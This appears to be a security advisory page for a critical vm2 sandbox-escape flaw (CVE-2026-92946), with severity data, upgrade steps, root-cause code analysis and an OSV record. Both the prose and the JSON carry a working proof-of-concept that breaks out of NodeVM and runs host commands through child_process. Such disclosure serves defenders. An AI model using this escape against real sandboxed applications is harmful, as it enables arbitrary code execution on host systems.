CVE-2026-92946: vm2 Remote Code Execution Vulnerability

CRITICAL
Advisory Identifier: GHSA-j3hm-6rg5-mchv
CVSS 10.0
CWE-913
Published
Advisory Summary

CVE-2026-92946 is a CRITICAL (CVSS 10.0) remote code execution vulnerability (CWE-913: Improper Control of Dynamically-Managed Code Resources) affecting vm2 libraries in the npm ecosystem. The issue involves nodevm `require.external` without an explicit `require.root` grants unrestricted host filesystem access and full rce. Remediation is available by upgrading affected packages to version 3.11.7.

CVE-2026-92946 at a Glance

CVE Identifier CVE-2026-92946
GHSA Identifier GHSA-j3hm-6rg5-mchv
Severity CRITICAL
CVSS v3.1 Base Score 10.0
CWE Classification CWE-913: Improper Control of Dynamically-Managed Code Resources
Affected Product vm2
Package Ecosystem npm
Published Date
Last Updated

Security Impact

CVSS: 10.0

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Changed (S:C)
Confidentiality High (C:H)
Integrity High (I:H)
Availability High (A:H)

How to Fix CVE-2026-92946

To remediate this vulnerability, upgrade all affected vm2 dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

vm2 fixed: 3.11.7
npm install vm2@3.11.7
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls vm2

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2026-92946, inspect your project dependencies using npm:

npm ls vm2

Analyze the terminal output to locate any version of vm2 in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 3.11.7), your application is affected.

Note: The npm ls vm2 command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-913: Improper Control of Dynamically-Managed Code Resources, where the product does not properly restrict reading from or writing to dynamically-managed code resources such as variables, objects, classes, attributes, functions, or executable instructions or statements. In vm2, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary `NodeVM`'s `require.external` option lets sandboxed code `require()` local files and npm packages. When `require.external` is enabled and `require.root` is **not explicitly set to a path that excludes `node_modules`**, two defaults combine to fully defeat the sandbox: - `require.root` defaults to **unrestricted** — "if omitted every path is allowed." - `require.context` defaults to **`"host"`** — files loaded this way run through the **real Node.js `require()`**, not inside any vm2 sandbox. Sandboxed code can therefore `require()` a relative or absolute path to vm2's own installed package (`node_modules/vm2`), obtain the real, unwrapped `NodeVM`/`VM` classes, construct a brand-new **unrestricted** nested `NodeVM` instance, and execute arbitrary host OS commands via `child_process`. This is exploitable using **vm2's own documented "Quick Examples" configuration** in `README.md`: ```js const vm = new NodeVM({ require: { external: true, root: './', }, }); ``` `root: './'` reads as a safety restriction but, in any ordinary npm project layout, `./node_modules/vm2` sits inside that same directory tree — so the restriction does not exclude vm2 itself. An application built by following the README's quick-start guide is affected by default. ## Affected Versions All vm2 versions where `lib/resolver-compat.js`'s `makeResolverFromLegacyOptions` predates this report — confirmed present as of the current `main` (post-3.11.5, including all fixes through GHSA-8hg8-63c5-gwmx / Category 25 and GHSA-cp6g-6699-wx9c / Category 24). Neither of those prior fixes covers this code path (see Root Cause). ## Details / Root Cause `lib/resolver-compat.js`: ```js const { builtin: builtinOpt, mock: mockOpt, external: externalOpt, root: rootPaths, resolve: customResolver, customRequire: hostRequire = defaultRequire, context = 'host', // <-- defaults to 'host' strict = true, fs: fsOpt = DEFAULT_FS, } = options; ... if (!externalOpt) return new Resolver(fsOpt, [], builtins); ... let checkedRootPaths; if (rootPaths !== undefined) { // root is only canonicalized/validated if the embedder explicitly provided one. ... } ``` and `CustomResolver.isPathAllowed`: ```js isPathAllowed(filename) { if (this.rootPaths === undefined) return true; // <-- unrestricted when root is omitted ... } ``` and `CustomResolver.loadJS`: ```js loadJS(vm, mod, filename) { if (this.pathContext(filename, 'js') !== 'host') return super.loadJS(vm, mod, filename); const m = this.hostRequire(filename); // <-- real host require(), when context === 'host' (the default) mod.exports = vm.readonly(m); } ``` `CustomResolver` (the resolver used whenever `require.external` is a bare `true`, i.e. not a scoped array/object) has **no external-module-name allowlist at all** — it gates purely on `isPathAllowed`, which is a no-op when `root` isn't set. Combined with `context` defaulting to `'host'`, any absolute or root-relative path sandboxed code names is loaded and *executed* via the real, unsandboxed Node.js `require()`. **This is a distinct code path from the two already-fixed advisories that produce a similar end state:** - **Category 24 / GHSA-cp6g-6699-wx9c** (`require.root` symlink bypass) *assumes* `root` is configured and attacks the symlink boundary via a TOCTOU between `path.resolve()` and the native loader's symlink-following. `git log -- lib/resolver-compat.js` shows its fix (`realpath` canonicalization) is the *only* history that file has — nothing from the `nesting` fix touches it, and the fix does nothing when `root` is never set in the first place, since there is no boundary to attack via symlink. - **Category 25 / GHSA-8hg8-63c5-gwmx** (`nesting: true` bypass) closes a *different* delivery mechanism entirely — the `NESTING_OVERRIDE`-injected `vm2` builtin, gated by a constructor-time check on the `nesting` option. That check is never consulted by this path: an embedder with `nesting: false` (the default) and no dangerous `require.builtin` entries is still fully exposed via `require.external: true` alone. An embedder who has correctly mitigated both prior advisories remains completely open through this one. **Documentation framing does not mitigate this to "expected behavior."** `require.external`'s JSDoc does carry an inline warning ("`root` should be set to restrict the script from requiring any module"), but it is unbolded prose stating a default, not flagged as dangerous — materially weaker than `nesting: true`'s bolded **WARNING**, dedicated README section, and explicit "grants unrestricted host module access" language, all of which existed and still did not prevent `nesting` from being filed (twice: GHSA-8hg8-63c5-gwmx, then hardened again by GHSA-m4wx-m65x-ghrr). The literal, first-shown "Quick Examples" snippet in `README.md` sets `root: './'`, which reads as an active safety choice, not an acknowledgment of "every path is allowed." ## Proof of Concept See attached `poc.js`. Reproduces using **vm2's own documented Quick Examples config**, in a normal project layout (`poc.js` next to a real `node_modules/vm2` install) — no symlinks, no `nesting`, no dangerous `require.builtin` entries, no modification to vm2's source. ```js const path = require('path'); const { NodeVM } = require('vm2'); const vm = new NodeVM({ require: { external: true, root: './' }, // verbatim from README "Quick Examples" }); let vm2EntryPoint = path.relative(process.cwd(), require.resolve('vm2')).replace(/\\/g, '/'); if (!vm2EntryPoint.startsWith('.')) vm2EntryPoint = './' + vm2EntryPoint; const result = vm.run(` const real = require(${JSON.stringify(vm2EntryPoint)}); const inner = new real.NodeVM({ require: { builtin: ['child_process'], external: false } }); module.exports = inner.run("module.exports = require('child_process').execSync('whoami').toString().trim()", 'inner.js'); `, 'untrusted-plugin.js'); console.log(result); // real host username, e.g. "Abisheik M" ``` **Actual output on the test machine:** ``` { whoami: 'Abisheik M', platform: 'win32' } ``` `Abisheik M` is the real OS account executing the Node.js process — not a sandbox artifact. ## Impact Any application that follows vm2's own README "Quick Examples" pattern (or any config with `require.external` enabled and `require.root` set to a path that includes `node_modules`, or omitted entirely) allows sandboxed/untrusted code to: - Execute arbitrary OS commands via `child_process` (full RCE). - Read/write arbitrary files via `fs` (once inside the re-instantiated unrestricted `NodeVM`). - Fully defeat every other sandbox restriction the embedder configured on the *outer* `NodeVM` — the outer allowlist becomes irrelevant once the sandbox obtains an unrestricted inner instance. ## Suggested Fix Mirror the precedent already established for `nesting` (Category 25) and `require.root` (Category 24): **fail loudly at construction time instead of silently defaulting to an unsafe combination.** In `lib/resolver-compat.js`'s `makeResolverFromLegacyOptions`, when `externalOpt` is truthy (bare `true`, or an object/array not scoped to specific module names only) and `rootPaths === undefined`, throw a `VMError` at `new NodeVM(...)` construction time — extending the *same* `checkedRootPaths` eager-probe block that Category 24's fix already introduced for the "root is set but the fs adapter can't realpath" case, to also cover "root was never set at all." This forces embedders to make an explicit, informed choice rather than inheriting an unrestricted default, exactly mirroring how Category 25's fix forces an explicit non-default `require` object when `nesting: true` is set. Additionally: update `README.md`'s "Quick Examples" snippet so it no longer shows a `root` value that is silently vulnerable to a same-directory `node_modules` install (e.g. scope it below the project root, or add an explicit callout that `root` must exclude `node_modules`).

CVE-2026-92946 Affected vm2 Versions

1 component(s)
Fixed Versions:
3.11.7
Product / Package Ecosystem Affected Versions Fixed Version
vm2
npm
< 3.11.7
3.11.7

References

Frequently Asked Questions

What is CVE-2026-92946?
CVE-2026-92946 is a security vulnerability in vm2 involving NodeVM `require.external` without an explicit `require.root` grants unrestricted host filesystem access and full RCE under CWE-913: Improper Control of Dynamically-Managed Code Resources.
Which vm2 versions are affected?
Affected versions include releases prior to 3.11.7 across affected packages: vm2.
What version fixes CVE-2026-92946?
Upgrading to 3.11.7 (or the latest patched release for your respective branch) resolves the vulnerability.
Is vm2 affected?
Yes, vm2 is affected in releases prior to 3.11.7. Upgrade your dependency to 3.11.7 or later.
What is the CVSS score of CVE-2026-92946?
CVE-2026-92946 has a CVSS v3.1 base score of 10.0 (CRITICAL) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H.
What CWE is associated with CVE-2026-92946?
CVE-2026-92946 is classified under CWE-913: Improper Control of Dynamically-Managed Code Resources (The product does not properly restrict reading from or writing to dynamically-managed code resources such as variables, objects, classes, attributes, functions, or executable instructions or statements.).
How can I check npm dependencies for CVE-2026-92946?
Run the dependency tree command: 'npm ls vm2'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-j3hm-6rg5-mchv",
  "modified" : "2026-10-05T22:34:50Z",
  "published" : "2026-10-05T22:34:50Z",
  "aliases" : [ "CVE-2026-92946" ],
  "summary" : "vm2: NodeVM `require.external` without an explicit `require.root` grants unrestricted host filesystem access and full RCE",
  "details" : "## Summary\n\n`NodeVM`'s `require.external` option lets sandboxed code `require()` local files and npm packages. When `require.external` is enabled and `require.root` is **not explicitly set to a path that excludes `node_modules`**, two defaults combine to fully defeat the sandbox:\n\n- `require.root` defaults to **unrestricted** — \"if omitted every path is allowed.\"\n- `require.context` defaults to **`\"host\"`** — files loaded this way run through the **real Node.js `require()`**, not inside any vm2 sandbox.\n\nSandboxed code can therefore `require()` a relative or absolute path to vm2's own installed package (`node_modules/vm2`), obtain the real, unwrapped `NodeVM`/`VM` classes, construct a brand-new **unrestricted** nested `NodeVM` instance, and execute arbitrary host OS commands via `child_process`.\n\nThis is exploitable using **vm2's own documented \"Quick Examples\" configuration** in `README.md`:\n\n```js\nconst vm = new NodeVM({\n  require: {\n    external: true,\n    root: './',\n  },\n});\n```\n\n`root: './'` reads as a safety restriction but, in any ordinary npm project layout, `./node_modules/vm2` sits inside that same directory tree — so the restriction does not exclude vm2 itself. An application built by following the README's quick-start guide is affected by default.\n\n\n## Affected Versions\n\nAll vm2 versions where `lib/resolver-compat.js`'s `makeResolverFromLegacyOptions` predates this report — confirmed present as of the current `main` (post-3.11.5, including all fixes through GHSA-8hg8-63c5-gwmx / Category 25 and GHSA-cp6g-6699-wx9c / Category 24). Neither of those prior fixes covers this code path (see Root Cause).\n\n## Details / Root Cause\n\n`lib/resolver-compat.js`:\n\n```js\nconst {\n  builtin: builtinOpt,\n  mock: mockOpt,\n  external: externalOpt,\n  root: rootPaths,\n  resolve: customResolver,\n  customRequire: hostRequire = defaultRequire,\n  context = 'host',          // <-- defaults to 'host'\n  strict = true,\n  fs: fsOpt = DEFAULT_FS,\n} = options;\n...\nif (!externalOpt) return new Resolver(fsOpt, [], builtins);\n...\nlet checkedRootPaths;\nif (rootPaths !== undefined) {\n  // root is only canonicalized/validated if the embedder explicitly provided one.\n  ...\n}\n```\n\nand `CustomResolver.isPathAllowed`:\n\n```js\nisPathAllowed(filename) {\n  if (this.rootPaths === undefined) return true;   // <-- unrestricted when root is omitted\n  ...\n}\n```\n\nand `CustomResolver.loadJS`:\n\n```js\nloadJS(vm, mod, filename) {\n  if (this.pathContext(filename, 'js') !== 'host') return super.loadJS(vm, mod, filename);\n  const m = this.hostRequire(filename);   // <-- real host require(), when context === 'host' (the default)\n  mod.exports = vm.readonly(m);\n}\n```\n\n`CustomResolver` (the resolver used whenever `require.external` is a bare `true`, i.e. not a scoped array/object) has **no external-module-name allowlist at all** — it gates purely on `isPathAllowed`, which is a no-op when `root` isn't set. Combined with `context` defaulting to `'host'`, any absolute or root-relative path sandboxed code names is loaded and *executed* via the real, unsandboxed Node.js `require()`.\n\n**This is a distinct code path from the two already-fixed advisories that produce a similar end state:**\n\n- **Category 24 / GHSA-cp6g-6699-wx9c** (`require.root` symlink bypass) *assumes* `root` is configured and attacks the symlink boundary via a TOCTOU between `path.resolve()` and the native loader's symlink-following. `git log -- lib/resolver-compat.js` shows its fix (`realpath` canonicalization) is the *only* history that file has — nothing from the `nesting` fix touches it, and the fix does nothing when `root` is never set in the first place, since there is no boundary to attack via symlink.\n- **Category 25 / GHSA-8hg8-63c5-gwmx** (`nesting: true` bypass) closes a *different* delivery mechanism entirely — the `NESTING_OVERRIDE`-injected `vm2` builtin, gated by a constructor-time check on the `nesting` option. That check is never consulted by this path: an embedder with `nesting: false` (the default) and no dangerous `require.builtin` entries is still fully exposed via `require.external: true` alone.\n\nAn embedder who has correctly mitigated both prior advisories remains completely open through this one.\n\n**Documentation framing does not mitigate this to \"expected behavior.\"** `require.external`'s JSDoc does carry an inline warning (\"`root` should be set to restrict the script from requiring any module\"), but it is unbolded prose stating a default, not flagged as dangerous — materially weaker than `nesting: true`'s bolded **WARNING**, dedicated README section, and explicit \"grants unrestricted host module access\" language, all of which existed and still did not prevent `nesting` from being filed (twice: GHSA-8hg8-63c5-gwmx, then hardened again by GHSA-m4wx-m65x-ghrr). The literal, first-shown \"Quick Examples\" snippet in `README.md` sets `root: './'`, which reads as an active safety choice, not an acknowledgment of \"every path is allowed.\"\n\n## Proof of Concept\n\nSee attached `poc.js`. Reproduces using **vm2's own documented Quick Examples config**, in a normal project layout (`poc.js` next to a real `node_modules/vm2` install) — no symlinks, no `nesting`, no dangerous `require.builtin` entries, no modification to vm2's source.\n\n```js\nconst path = require('path');\nconst { NodeVM } = require('vm2');\n\nconst vm = new NodeVM({\n  require: { external: true, root: './' },   // verbatim from README \"Quick Examples\"\n});\n\nlet vm2EntryPoint = path.relative(process.cwd(), require.resolve('vm2')).replace(/\\\\/g, '/');\nif (!vm2EntryPoint.startsWith('.')) vm2EntryPoint = './' + vm2EntryPoint;\n\nconst result = vm.run(`\n  const real = require(${JSON.stringify(vm2EntryPoint)});\n  const inner = new real.NodeVM({ require: { builtin: ['child_process'], external: false } });\n  module.exports = inner.run(\"module.exports = require('child_process').execSync('whoami').toString().trim()\", 'inner.js');\n`, 'untrusted-plugin.js');\n\nconsole.log(result); // real host username, e.g. \"Abisheik M\"\n```\n\n**Actual output on the test machine:**\n```\n{ whoami: 'Abisheik M', platform: 'win32' }\n```\n\n`Abisheik M` is the real OS account executing the Node.js process — not a sandbox artifact.\n\n## Impact\n\nAny application that follows vm2's own README \"Quick Examples\" pattern (or any config with `require.external` enabled and `require.root` set to a path that includes `node_modules`, or omitted entirely) allows sandboxed/untrusted code to:\n\n- Execute arbitrary OS commands via `child_process` (full RCE).\n- Read/write arbitrary files via `fs` (once inside the re-instantiated unrestricted `NodeVM`).\n- Fully defeat every other sandbox restriction the embedder configured on the *outer* `NodeVM` — the outer allowlist becomes irrelevant once the sandbox obtains an unrestricted inner instance.\n\n## Suggested Fix\n\nMirror the precedent already established for `nesting` (Category 25) and `require.root` (Category 24): **fail loudly at construction time instead of silently defaulting to an unsafe combination.**\n\nIn `lib/resolver-compat.js`'s `makeResolverFromLegacyOptions`, when `externalOpt` is truthy (bare `true`, or an object/array not scoped to specific module names only) and `rootPaths === undefined`, throw a `VMError` at `new NodeVM(...)` construction time — extending the *same* `checkedRootPaths` eager-probe block that Category 24's fix already introduced for the \"root is set but the fs adapter can't realpath\" case, to also cover \"root was never set at all.\" This forces embedders to make an explicit, informed choice rather than inheriting an unrestricted default, exactly mirroring how Category 25's fix forces an explicit non-default `require` object when `nesting: true` is set.\n\nAdditionally: update `README.md`'s \"Quick Examples\" snippet so it no longer shows a `root` value that is silently vulnerable to a same-directory `node_modules` install (e.g. scope it below the project root, or add an explicit callout that `root` must exclude `node_modules`).",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "vm2"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "3.11.7"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 3.11.6"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/patriksimek/vm2/security/advisories/GHSA-j3hm-6rg5-mchv"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-92946"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/patriksimek/vm2/commit/903017c8a1eae9aba947ec854468b48155e79f86"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/patriksimek/vm2"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/patriksimek/vm2/releases/tag/v3.11.7"
  }, {
    "type" : "WEB",
    "url" : "https://www.vulncheck.com/advisories/vm2-before-3.11.7-remote-code-execution-via-require-external"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-913" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-10-05T22:34:50Z",
    "nvd_published_at" : null
  }
}